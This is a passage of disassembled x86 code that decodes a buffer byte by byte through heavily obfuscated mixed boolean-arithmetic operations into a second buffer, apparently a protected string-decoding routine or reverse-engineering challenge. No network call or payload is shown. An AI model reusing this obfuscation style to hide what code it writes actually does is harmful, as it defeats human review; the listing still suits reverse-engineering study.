and cl, 0xb4
shl cl, 1
add al, 0xb4
sub al, cl
mov byte [0x4746d8], al
mov al, byte [0x4744d9]
mov cl, al
xor cl, 0xff
and cl, 0xd8
and al, 0x27
or cl, al
xor cl, 0x51
mov byte [0x4746d9], cl
mov bl, byte [0x4744da]
mov dl, bl
xor dl, 0xff
mov al, bl
xor al, 0xff
or dl, al
xor dl, 0xff
or dl, 0xcf
mov al, bl
and al, 0xcf
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
xor dl, 0xff
or dl, 0xcf
add dl, 0x31
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub al, 0x30
sub bl, al
mov byte [0x4746da], bl
mov al, byte [0x4744db]
mov cl, al
xor cl, 0xff
and cl, 0x22
and al, 0xdd
or cl, al
mov byte [0x4746db], cl
mov dl, byte [0x4744dc]
mov cl, dl
and cl, cl
mov al, cl
xor al, 0xff
and al, 0xb3
and cl, 0x4c
or al, cl
xor al, 0x4c
xor al, 0xff
mov cl, al
and cl, 0x73
xor cl, 0xff
add al, 0x73
add al, 1
add al, cl
mov cl, dl
xor cl, 0x8c
and cl, dl
xor cl, 0xff
and al, cl
xor al, 0xff
mov byte [0x4746dc], al
mov dl, byte [0x4744dd]
mov al, dl
xor al, 0xff
and al, 0xbb
mov cl, dl
add cl, 1
xor dl, 0xff
or dl, 0x44
add dl, cl
mov cl, dl
and cl, al
xor cl, 0xff
add al, dl
add al, 1
add al, cl
mov byte [0x4746dd], al
mov al, byte [0x4744de]
xor al, 0x90
mov byte [0x4746de], al
mov al, byte [0x4744df]
mov cl, al
and cl, 0xb1
shl cl, 1
mov dl, al
and dl, 0xb1
shl dl, 1
xor al, 0xb1
add al, dl
sub al, cl
mov byte [0x4746df], al
mov bl, byte [0x4744e0]
mov dl, bl
xor dl, 0xe0
and dl, bl
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add bl, 0x42
add bl, 0x1f
sub bl, 0x42
mov cl, bl
xor cl, 0xff
and cl, al
xor al, 0xff
and bl, al
sub bl, cl
mov byte [0x4746e0], bl
mov al, byte [0x4744e1]
mov cl, al
and cl, 0x1c
shl cl, 1
sub al, 0xeb
add al, 0x1c
add al, 0xeb
xor edx, edx
sub dl, cl
add al, dl
mov byte [0x4746e1], al
mov al, byte [0x4744e2]
xor al, 0x53
mov byte [0x4746e2], al
mov bl, byte [0x4744e3]
mov dl, bl
xor dl, 0x44
xor dl, 0xff
and dl, 0x44
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add al, 0xaa
sub al, 0x44
sub al, 0xaa
xor ecx, ecx
sub cl, al
add bl, cl
mov byte [0x4746e3], bl
mov dl, byte [0x4744e4]
mov al, dl
xor al, 0xff
xor al, 0xff
xor al, 0xe5
and al, 0xe5
mov ah, dl
and ah, 0x1a
xor ah, 0xff
xor dl, 0xff
or dl, 0xe5
xor ah, 0xff
xor dl, 0xff
or ah, dl
mov cl, ah
xor cl, 0xff
mov dl, al
and dl, cl
mov cl, al
xor cl, ah
add al, cl
sub al, dl
xor al, 0xcf
mov byte [0x4746e4], al
mov al, byte [0x4744e5]
xor al, 0xdf
mov byte [0x4746e5], al
mov al, byte [0x4744e6]
mov cl, al
xor cl, 0xff
and cl, 0x78
and al, 0x87
or cl, al
mov byte [0x4746e6], cl
mov bl, byte [0x4744e7]
mov al, bl
add al, 1
mov dl, bl
xor dl, 0xff
or dl, 0xd1
add dl, al
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
xor edx, edx
sub dl, bl
add dl, 0x2f
xor ecx, ecx
sub cl, dl
sub cl, al
mov byte [0x4746e7], cl
mov al, byte [0x4744e8]
xor al, 0x7d
mov byte [0x4746e8], al
mov al, byte [0x4744e9]
mov cl, al
or cl, cl
xor cl, 0xff
or cl, 0x17
xor cl, 0xff
or al, 0xe8
xor al, 0xff
or cl, al
xor cl, 0xff
mov byte [0x4746e9], cl
mov al, byte [str.L_n]
mov cl, al
xor cl, 0xff
and cl, 7
and al, 0xf8
or cl, al
xor cl, 0x4f
mov byte [0x4746ea], cl
mov al, byte [0x4744eb]
mov cl, al
xor cl, 0xff
mov ah, al
xor ah, 0xff
xor ah, 0xff
mov dl, cl
xor dl, ah
and dl, cl
or dl, 0xc4
xor dl, 0xff
or al, 0x3b
xor al, 0xff
xor dl, 0xff
xor al, 0xff
xor al, 0xff
mov cl, dl
xor cl, al
and cl, dl
mov byte [str.tsN_t_r], cl
mov al, byte [0x4744ec]
mov cl, al
xor cl, 0xff
and cl, 0xa9
and al, 0x56
or cl, al
xor cl, 0xc3
mov byte [0x4746ec], cl
mov al, byte [0x4744ed]
xor al, 0x2e
mov byte [0x4746ed], al
mov al, byte [0x4744ee]
mov cl, al
and cl, cl
xor cl, 0xff
and cl, 5
xor cl, 0xff
and al, 0xfa
xor al, 0xff
and cl, al
xor cl, 0xff
mov byte [0x4746ee], cl
mov al, byte [0x4744ef]
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
mov dl, al
sub dl, cl
mov cl, dl
and cl, 0xd1
xor cl, 0xff
xor dl, 0xff
or dl, 0x2e
and cl, dl
xor cl, 0xff
and al, 0x2e
or cl, al
mov byte [0x4746ef], cl
mov dl, byte [0x4744f0]
mov al, dl
or al, al
xor al, 0xff
mov cl, dl
xor cl, 0xff
mov ah, dl
xor ah, 0xff
and cl, ah
xor al, 0xff
xor cl, 0xff
and al, cl
xor al, 0xff
and al, 0xff
or al, 0
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
or al, 0xb1
and dl, 0xb1
or dl, dl
xor dl, 0xff
or dl, 0
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
and al, dl
mov cl, al
xor cl, 0xff
and cl, 0xc9
and al, 0x36
or cl, al
xor cl, 0x36
mov byte [0x4746f0], cl
mov al, byte [0x4744f1]
mov dl, al
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 0xe6
xor al, 0xff
and al, 0x19
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x4746f1], dl
mov al, byte [0x4744f2]
mov cl, al
and cl, 0xc8
shl cl, 1
add al, 0xc8
sub al, cl
mov byte [0x4746f2], al
mov al, byte [0x4744f3]
xor al, 0x8c
mov byte [0x4746f3], al
mov al, byte [0x4744f4]
mov dl, al
and dl, dl
xor dl, 0xff
and dl, 0xd4
xor dl, 0xff
and al, 0x2b
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x4746f4], dl
mov al, byte [0x4744f5]
xor al, 0xab
mov byte [0x4746f5], al
mov al, byte [0x4744f6]
xor al, 0x1d
mov byte [0x4746f6], al
mov al, byte [0x4744f7]
xor al, 0xe4
mov byte [0x4746f7], al
mov dl, byte [0x4744f8]
mov al, dl
xor al, 0xff
xor al, 0xff
xor al, 0x78
and al, 0x78
or dl, dl
xor dl, 0xff
or dl, 0x78
xor dl, 0xff
mov cl, dl
xor cl, 0xff
mov ah, al
and ah, cl
mov cl, al
xor cl, dl
add al, cl
sub al, ah
xor al, 0xc1
mov byte [0x4746f8], al
mov dl, byte [0x4744f9]
mov al, dl
xor al, 0xff
and al, 0xff
or al, 0
mov cl, dl
xor cl, 0xff
mov ah, dl
xor ah, 0xff
or cl, ah
xor cl, 0xff
or cl, 0
and cl, 0xff
xor cl, 0xff
and al, cl
xor al, 0xff
and al, 0x55
or dl, 0x55
mov dh, dl
xor dh, 0xff
and dh, 0x53
and dl, 0xac
or dh, dl
xor dh, 0xac
mov ah, al
xor ah, 0xff
mov bl, dh
xor bl, 0xff
mov dl, ah
and dl, 0x31
and al, 0xce
mov cl, bl
and cl, 0x31
and dh, 0xce
or dl, al
or cl, dh
xor dl, cl
or ah, bl
xor ah, 0xff
and ah, 0xff
or dl, ah
mov al, dl
xor al, 0xff
xor al, 0xff
and al, 0xff
shl al, 1
sub al, 0xff
sub dl, al
mov byte [0x4746f9], dl
mov dl, byte [0x4744fa]
mov al, dl
or al, al
xor al, 0xff
or al, 0x33
xor al, 0xff
xor dl, 0xff
mov cl, dl
xor cl, 0x33
xor cl, 0xff
or dl, 0x33
and dl, cl
or al, dl
xor al, 0xff
mov byte [0x4746fa], al
mov al, byte [0x4744fb]
mov cl, al
xor cl, 0x6d
xor cl, 0xff
and cl, 0x6d
shl cl, 1
sub cl, 0x6d
sub al, cl
mov byte [0x4746fb], al
mov al, byte [0x4744fc]
xor al, 0xf5
mov byte [0x4746fc], al
mov al, byte [0x4744fd]
xor al, 0x5e
mov byte [0x4746fd], al
mov al, byte [0x4744fe]
mov cl, al
and cl, 7
shl cl, 1
sub al, 0xf9
mov dl, al
xor dl, cl
xor cl, 0xff
and al, cl
shl al, 1
sub al, dl
mov byte [0x4746fe], al
mov al, byte [0x4744ff]
mov cl, al
xor cl, 0xff
mov dl, al
xor dl, 0xff
mov ah, cl
xor ah, 0xff
xor cl, 0xff
or ah, cl
mov cl, dl
xor cl, 0xff
xor dl, 0xff
or cl, dl
xor ah, 0xff
xor cl, 0xff
or ah, cl
mov dl, ah
xor dl, 0xff
and dl, 0xd3
and ah, 0x2c
or dl, ah
xor dl, 0x2c
or dl, 0xf3
xor al, 0xff
and al, al
xor al, 0xff
and al, 0xf3
xor al, 0xff
xor dl, 0xff
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
or dl, al
mov byte [0x4746ff], dl
mov al, byte [0x474500]
xor al, 0xb8
mov byte [0x474700], al
mov al, byte [0x474501]
mov cl, al
and cl, 0x18
shl cl, 1
add al, 0x18
sub al, cl
mov byte [0x474701], al
mov al, byte [0x474502]
xor al, 0x1b
mov byte [0x474702], al
mov bl, byte [str.__f_t]
mov dl, bl
and dl, 0x20
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub bl, 0xe0
sub bl, al
mov byte [0x474703], bl
mov al, byte [0x474504]
mov cl, al
xor cl, 9
xor cl, 0xff
mov dl, cl
and dl, 9
xor dl, 0xff
and cl, 9
xor cl, 0xff
and dl, cl
xor dl, 0xff
shl dl, 1
sub dl, 9
sub al, dl
mov byte [0x474704], al
mov al, byte [0x474505]
mov cl, al
xor cl, 0xc9
xor cl, 0xff
and cl, 0xc9
shl cl, 1
add cl, 0x36
add cl, 1
sub al, cl
mov byte [0x474705], al
mov cl, byte [0x474506]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
and al, dl
or al, 0x53
xor al, 0xff
xor cl, 0xff
and cl, 0x53
or al, cl
xor al, 0xff
mov byte [0x474706], al
mov al, byte [0x474507]
mov cl, al
and cl, 0xc
shl cl, 1
add al, 0xc
sub al, cl
mov byte [0x474707], al
mov al, byte [0x474508]
mov ah, al
xor ah, 0xff
mov dh, al
xor dh, 0xff
mov dl, ah
and dl, 0x48
mov cl, al
and cl, 0xb7
mov ch, dh
and ch, 0x48
mov bl, al
and bl, 0xb7
or dl, cl
or ch, bl
xor dl, ch
or ah, dh
xor ah, 0xff
and ah, 0xff
or dl, ah
mov cl, dl
and cl, 0xff
shl cl, 1
add dl, 0xff
sub dl, cl
or dl, 0x50
xor dl, 0xff
and dl, 0xff
or dl, 0
or al, 0xaf
xor al, 0xff
xor dl, 0xff
or al, al
xor al, 0xff
xor al, 0xff
and al, 0xff
xor al, 0xff
and al, 0xff
and dl, al
mov byte [0x474708], dl
mov al, byte [0x474509]
mov dl, al
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 0xb2
xor al, 0xff
and al, 0x4d
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x474709], dl
mov al, byte [0x47450a]
mov dl, al
xor dl, 0xff
and dl, 0xb2
mov cl, al
and cl, 0x4d
or dl, cl
xor dl, 0x2b
xor dl, 0xff
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 0x99
shl dl, 1
sub dl, 0x99
add al, 0x75
sub al, dl
sub al, 0x75
mov byte [0x47470a], al
mov al, byte [0x47450b]
mov ah, al
and ah, ah
mov cl, ah
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub ah, cl
mov dl, ah
xor dl, 0xff
xor ah, 0xff
or dl, ah
and dl, 0xff
xor dl, 0xff
xor dl, 0xff
or dl, 0
or dl, 0x3c
and al, 0x3c
xor al, 0xff
and dl, al
xor dl, 0xff
mov byte [0x47470b], dl
mov al, byte [0x47450c]
mov dl, al
and dl, dl
xor dl, 0xff
and dl, 0x62
xor dl, 0xff
and al, 0x9d
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x47470c], dl
mov al, byte [0x47450d]
mov cl, al
and cl, 0xff
shl cl, 1
mov ah, al
add ah, 0xff
sub ah, cl
mov dl, ah
xor dl, 0xff
xor ah, 0xff
and dl, ah
or dl, 4
xor dl, 0xff
and al, 4
and dl, dl
xor dl, 0xff
and al, al
xor al, 0xff
and dl, al
xor dl, 0xff
mov byte [0x47470d], dl
mov al, byte [0x47450e]
mov cl, al
and cl, 0x1c
shl cl, 1
sub al, 0xe4
sub al, cl
mov byte [0x47470e], al
mov al, byte [0x47450f]
xor al, 0xff
mov byte [0x47470f], al
mov al, byte [0x474510]
mov cl, al
xor cl, 0xff
and cl, 0x1c
and al, 0xe3
or cl, al
mov byte [0x474710], cl
mov al, byte [0x474511]
xor al, 0xbc
mov byte [0x474711], al
mov al, byte [0x474512]
mov cl, al
xor cl, 0xff
and cl, 0x5f
and al, 0xa0
or cl, al
xor cl, 0x32
mov byte [0x474712], cl
mov al, byte [0x474513]
mov cl, al
xor cl, 0xff
mov ah, al
xor ah, 0xff
mov dl, cl
and dl, ah
xor cl, ah
or dl, cl
and dl, 0xde
xor dl, 0xff
mov cl, al
add cl, 1
xor al, 0xff
or al, 0x21
add al, cl
xor al, 0xff
mov cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub dl, cl
xor al, 0xff
mov ah, dl
xor ah, 0xff
mov bl, al
xor bl, 0xff
mov dh, ah
and dh, 0x21
and dl, 0xde
mov cl, bl
and cl, 0x21
and al, 0xde
or dh, dl
or cl, al
xor dh, cl
or ah, bl
xor ah, 0xff
and ah, 0xff
or dh, ah
mov byte [0x474713], dh
mov al, byte [0x474514]
mov cl, al
and cl, 0x54
shl cl, 1
add al, 0x54
sub al, cl
mov byte [0x474714], al
mov dl, byte [0x474515]
mov al, dl
xor al, 0xff
and al, 0xff
or al, 0
and al, 0xdb
xor dl, 0xff
or dl, 0xdb
xor dl, 0xff
and dl, 0xff
or al, dl
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
xor dl, 0xff
and dl, 0x34
xor al, 0xff
and al, 0xcb
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x474715], dl
mov al, byte [0x474516]
xor al, 0xeb
mov byte [0x474716], al
mov al, byte [0x474517]
mov cl, al
and cl, 0xa7
shl cl, 1
mov dl, al
add dl, 0xa7
sub dl, cl
mov cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub dl, cl
xor dl, 0xff
xor dl, 0xa7
and dl, 0xa7
shl dl, 1
sub dl, 0x5e
sub dl, 0xa7
add dl, 0x5e
mov cl, al
xor cl, 0xff
and cl, dl
xor dl, 0xff
and al, dl
sub al, cl
mov byte [0x474717], al
mov al, byte [0x474518]
mov cl, al
xor cl, 0xff
and cl, 0x3e
and al, 0xc1
or cl, al
mov byte [0x474718], cl
mov al, byte [0x474519]
xor al, 0xa7
mov byte [0x474719], al
mov bl, byte [0x47451a]
mov dl, bl
and dl, 0x7e
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add bl, 0x7e
sub bl, al
mov byte [0x47471a], bl
mov al, byte [0x47451b]
xor al, 0x51
mov byte [0x47471b], al
mov dl, byte [0x47451c]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
or al, cl
xor al, 0xff
or al, 0
xor al, 0xff
or al, 0
mov cl, dl
xor cl, 0xff
and al, cl
xor al, 0xff
and al, 0xa8
mov ah, dl
xor ah, 0xff
and ah, 0x57
or dl, 0xa8
xor dl, 0xff
or ah, dl
xor ah, 0xff
mov cl, ah
and cl, 0xff
shl cl, 1
add ah, 0xff
sub ah, cl
and al, al
xor al, 0xff
and ah, ah
xor ah, 0xff
and al, ah
xor al, 0xff
or al, al
xor al, 0xff
xor al, 0xff
and al, 0xff
xor al, 0xff
and al, 0xff
mov byte [0x47471c], al
mov al, byte [0x47451d]
xor al, 0xbb
mov byte [0x47471d], al
mov al, byte [0x47451e]
xor al, 0x2c
mov byte [0x47471e], al
mov dl, byte [0x47451f]
mov al, dl
and al, al
mov cl, dl
xor cl, cl
or al, cl
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
xor al, 0xff
and al, 0xff
or al, 0
and al, 0x5d
mov dh, dl
xor dh, 0xff
mov ah, dh
and ah, 0x91
and dl, 0x6e
or ah, dl
xor ah, 0xcc
or dh, 0xa2
xor dh, 0xff
and dh, 0xff
or ah, dh
xor ah, 0xff
or al, ah
mov cl, al
xor cl, 0xff
xor al, 0xff
and cl, al
xor cl, 0xff
and cl, 0xff
xor cl, 0xff
and cl, 0xff
mov byte [0x47471f], cl
mov dl, byte [0x474520]
mov cl, dl
and cl, cl
xor cl, 0xff
mov al, cl
xor al, 0xff
and al, 0x6d
and cl, 0x92
or al, cl
xor al, 0x92
and al, al
xor al, 0xff
and al, 0xc5
xor al, 0xff
mov cl, dl
xor cl, 0xff
and cl, 0xd2
and dl, 0x2d
or cl, dl
xor cl, 0x2d
or cl, 0xc5
and al, cl
xor al, 0xff
mov byte [0x474720], al
mov al, byte [0x474521]
xor al, 0x64
mov byte [0x474721], al
mov al, byte [0x474522]
xor al, 0x21
mov byte [0x474722], al
mov al, byte [0x474523]
xor al, 0xeb
mov byte [0x474723], al
mov al, byte [0x474524]
xor al, 0xb3
mov byte [0x474724], al
mov al, byte [0x474525]
mov dl, al
xor dl, 0x3b
xor dl, 0xff
and dl, 0xff
or dl, 0
and dl, 0x3b
shl dl, 1
sub dl, 0x3b
xor ecx, ecx
sub cl, dl
add al, cl
mov byte [0x474725], al
mov al, byte [0x474526]
xor al, 0x2d
mov byte [0x474726], al
mov al, byte [0x474527]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
or dl, 0x8c
xor dl, 0xff
xor al, 0xff
and al, 0x8c
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x474727], dl
mov al, byte [0x474528]
mov cl, al
xor cl, 0xf0
xor cl, 0xff
and cl, 0xf0
shl cl, 1
sub cl, 0xf0
sub al, cl
mov byte [0x474728], al
mov al, byte [str.89U_a]
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
mov dl, al
sub dl, cl
mov cl, dl
xor cl, 0x3d
xor cl, 0xff
or dl, 0x3d
and dl, cl
and al, 0xc2
mov cl, dl
xor cl, 0xff
xor dl, 0xff
or cl, dl
and al, al
xor al, 0xff
xor cl, 0xff
xor al, 0xff
or cl, al
mov byte [0x474729], cl
mov al, byte [0x47452a]
mov cl, al
xor cl, 0x3c
xor cl, 0xff
mov dl, al
or dl, 0x3c
and dl, cl
shl dl, 1
add al, 0x3c
sub al, 0x34
sub al, dl
add al, 0x34
mov byte [0x47472a], al
mov al, byte [0x47452b]
xor al, 0x50
mov byte [0x47472b], al
mov al, byte [0x47452c]
mov cl, al
xor cl, 0xff
and cl, 2
mov dl, al
xor dl, 0xfd
xor dl, 0xff
or al, 0xfd
and al, dl
or cl, al
mov byte [0x47472c], cl
mov al, byte [0x47452d]
mov cl, al
xor cl, 0xff
and cl, 0x31
and al, 0xce
or cl, al
xor cl, 0xea
mov byte [0x47472d], cl
mov al, byte [0x47452e]
mov cl, al
xor cl, 0xff
and cl, 0x36
and al, 0xc9
or cl, al
mov byte [0x47472e], cl
mov al, byte [0x47452f]
mov cl, al
xor cl, 0xff
and cl, 0x39
and al, 0xc6
or cl, al
mov byte [0x47472f], cl
mov al, byte [0x474530]
mov cl, al
xor cl, 0x8d
xor cl, 0xff
and cl, 0x8d
shl cl, 1
sub cl, 0x8d
sub al, cl
mov byte [0x474730], al
mov al, byte [0x474531]
xor al, 0x58
mov byte [0x474731], al
mov bl, byte [0x474532]
mov dl, bl
xor dl, 0x58
xor dl, 0xff
and dl, 0x58
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub al, 0x58
mov cl, bl
xor cl, 0xff
and cl, al
xor al, 0xff
and bl, al
sub bl, cl
mov byte [0x474732], bl
mov al, byte [0x474533]
xor al, 0x9a
mov byte [0x474733], al
mov cl, byte [0x474534]
mov dl, cl
xor dl, 0xff
mov al, dl
xor al, 0xff
xor dl, 0xff
and al, dl
or al, 0xac
xor al, 0xff
mov dl, cl
xor dl, 0x53
and dl, cl
or al, dl
xor al, 0xbe
mov byte [0x474734], al
mov al, byte [0x474535]
mov cl, al
and cl, 0xfb
shl cl, 1
add al, 0xfb
sub al, 0x46
sub al, cl
add al, 0x46
mov byte [0x474735], al
mov al, byte [0x474536]
mov cl, al
xor cl, 0x2c
xor cl, 0xff
and cl, 0x2c
shl cl, 1
sub cl, 0x2c
sub al, cl
mov byte [0x474736], al
mov dl, byte [0x474537]
mov al, dl
and al, al
mov cl, dl
xor cl, cl
or al, cl
xor al, 0xff
or al, al
xor al, 0xff
or al, 0
xor al, 0xff
or al, 0
xor al, 0xff
and al, 0x95
xor dl, 0xff
and dl, 0x6a
or al, dl
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
mov byte [0x474737], al
mov al, byte [0x474538]
xor al, 0xd8
mov byte [0x474738], al
mov al, byte [0x474539]
mov dl, al
xor dl, 0xff
and dl, 0x24
mov cl, al
and cl, 0xdb
or dl, cl
xor dl, 0xa8
xor dl, 0xff
and dl, 0x8c
shl dl, 1
add dl, 0x9a
sub dl, 0x8c
sub dl, 0x9a
sub al, dl
mov byte [0x474739], al
mov al, byte [0x47453a]
mov cl, al
xor cl, 0xff
and cl, 0x26
and al, 0xd9
or cl, al
xor cl, 0xea
mov byte [0x47473a], cl
mov al, byte [0x47453b]
mov cl, al
xor cl, 0x65
xor cl, 0xff
and cl, 0x65
shl cl, 1
sub cl, 0x65
sub al, cl
mov byte [0x47473b], al
mov al, byte [0x47453c]
mov cl, al
and cl, 0xdf
shl cl, 1
add al, 0xdf
add al, 0xca
sub al, cl
sub al, 0xca
mov byte [0x47473c], al
mov al, byte [0x47453d]
xor al, 3
mov byte [0x47473d], al
mov al, byte [0x47453e]
xor al, 4
mov byte [0x47473e], al
mov al, byte [0x47453f]
xor al, 0xfa
mov byte [0x47473f], al
mov al, byte [0x474540]
xor al, 0x5a
mov byte [0x474740], al
mov al, byte [0x474541]
mov cl, al
xor cl, 0xff
and cl, 8
and al, 0xf7
or cl, al
xor cl, 0x7f
mov byte [0x474741], cl
mov al, byte [0x474542]
xor al, 0x65
mov byte [0x474742], al
mov dl, byte [0x474543]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
and al, cl
xor al, 0xff
and al, 0xcf
xor dl, 0xff
and dl, 0xff
or dl, 0
and dl, 0x30
xor al, 0xff
mov cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub dl, cl
xor al, 0xff
xor dl, 0xff
or al, dl
xor al, 0xff
and al, 0xff
mov byte [0x474743], al
mov al, byte [0x474544]
xor al, 0xe2
mov byte [0x474744], al
mov al, byte [0x474545]
mov cl, al
xor cl, 0x2e
xor cl, 0xff
and cl, 0x2e
shl cl, 1
sub cl, 0x2e
sub al, cl
mov byte [0x474745], al
mov cl, byte [0x474546]
mov al, cl
xor al, 0xff
and al, 0x92
mov dl, cl
xor dl, 0x6d
xor dl, 0xff
or cl, 0x6d
and cl, dl
or al, cl
mov cl, al
xor cl, 0xff
and cl, 0x31
and al, 0xce
or cl, al
mov byte [0x474746], cl
mov al, byte [0x474547]
xor al, 0xbf
mov byte [0x474747], al
mov dl, byte [0x474548]
mov ah, dl
and ah, ah
xor ah, 0xff
mov al, ah
xor al, 0x9a
xor al, 0xff
or ah, 0x9a
and ah, al
mov al, ah
xor al, 0xff
xor ah, 0xff
and al, ah
or al, 0
xor al, 0xff
xor al, 0xff
and al, 0xff
mov ah, dl
and ah, 0x65
xor ah, 0xff
and dl, 0x65
xor dl, 0xff
and ah, dl
xor ah, 0xff
xor ah, 0xff
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
xor ah, 0xff
or al, ah
mov byte [0x474748], al
mov al, byte [0x474549]
xor al, 0x30
mov byte [0x474749], al
mov al, byte [0x47454a]
mov cl, al
xor cl, 0x82
mov dl, cl
xor dl, 0xff
and dl, 0x47
and cl, 0xb8
or dl, cl
xor dl, 0xb8
and dl, 0x82
shl dl, 1
sub dl, 0x82
sub al, dl
mov byte [0x47474a], al
mov cl, byte [0x47454b]
mov al, cl
xor al, 0xff
or al, 0x27
xor al, 0xff
and al, 0xff
shl al, 1
mov dl, cl
and dl, 0xd8
or cl, 0xd8
add dl, cl
xor al, 0xff
add dl, al
add dl, 1
mov byte [0x47474b], dl
mov al, byte [0x47454c]
mov dl, al
xor dl, 0xff
and dl, 0xd3
mov cl, al
xor cl, 0x2c
xor cl, 0xff
or al, 0x2c
and al, cl
mov cl, dl
xor cl, 0xff
xor dl, 0xff
or cl, dl
and al, al
xor al, 0xff
and cl, al
xor cl, 0xff
xor cl, 9
mov byte [0x47474c], cl
mov al, byte [0x47454d]
mov cl, al
and cl, cl
xor cl, 0xff
xor cl, 0xff
or cl, 6
xor al, 0xff
or al, 0xf9
and cl, al
xor cl, 0xff
mov byte [0x47474d], cl
mov al, byte [0x47454e]
mov cl, al
and cl, 0x26
shl cl, 1
mov dl, al
and dl, 0x26
shl dl, 1
xor al, 0x26
add al, dl
add al, 0xbf
sub al, cl
sub al, 0xbf
mov byte [0x47474e], al
mov bl, byte [0x47454f]
mov al, bl
add al, 1
mov dl, bl
xor dl, 0xff
or dl, 0xc8
add dl, al
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add bl, 0xc8
sub bl, al
mov byte [0x47474f], bl
mov al, byte [str.th_]
mov cl, al
xor cl, 0x78
xor cl, 0xff
and cl, 0x78
shl cl, 1
sub cl, 0x78
xor cl, 0xff
add al, cl
add al, 1
mov byte [0x474750], al
mov al, byte [0x474551]
xor al, 0x72
mov byte [0x474751], al
mov al, byte [0x474552]
mov cl, al
and cl, 0x6e
shl cl, 1
add al, 0x6e
sub al, cl
mov byte [0x474752], al
mov al, byte [0x474553]
xor al, 0x27
mov byte [0x474753], al
mov cl, byte [0x474554]
mov al, cl
xor al, 0xff
and al, 0x4a
mov dl, cl
xor dl, 0x4a
and dl, cl
or al, dl
mov cl, al
xor cl, 0xff
and cl, 0xaf
and al, 0x50
or cl, al
xor cl, 0x55
mov byte [0x474754], cl
mov al, byte [0x474555]
mov cl, al
xor cl, 0xff
and cl, 0xa6
and al, 0x59
or cl, al
mov byte [0x474755], cl
mov al, byte [0x474556]
xor al, 0xc8
mov byte [0x474756], al
mov al, byte [0x474557]
xor al, 0x4e
mov byte [0x474757], al
mov al, byte [0x474558]
mov cl, al
xor cl, 0xff
and cl, 0xaa
and al, 0x55
or cl, al
xor cl, 0xf6
mov byte [0x474758], cl
mov al, byte [0x474559]
mov cl, al
or cl, cl
xor cl, 0xff
or cl, 0x1c
xor cl, 0xff
or al, 0xe3
xor al, 0xff
or cl, al
xor cl, 0xff
mov byte [0x474759], cl
mov al, byte [0x47455a]
xor al, 0x99
mov byte [0x47475a], al
mov al, byte [0x47455b]
xor al, 0x26
mov byte [0x47475b], al
mov al, byte [0x47455c]
xor al, 0x91
mov byte [0x47475c], al
mov al, byte [0x47455d]
mov dl, al
xor dl, 0xff
xor dl, 0xff
xor dl, 0x31
and dl, 0x31
mov cl, al
add cl, 1
xor al, 0xff
or al, 0xce
add al, cl
mov ah, dl
xor ah, 0xff
mov bl, al
xor bl, 0xff
mov dh, ah
and dh, 0x2a
and dl, 0xd5
mov cl, bl
and cl, 0x2a
and al, 0xd5
or dh, dl
or cl, al
xor dh, cl
or ah, bl
xor ah, 0xff
and ah, 0xff
or dh, ah
mov byte [0x47475d], dh
mov bl, byte [0x47455e]
mov dl, bl
xor dl, 0x27
xor dl, 0xff
or dl, 0xd8
add dl, 0x28
mov cl, dl
and cl, 0xfd
mov al, dl
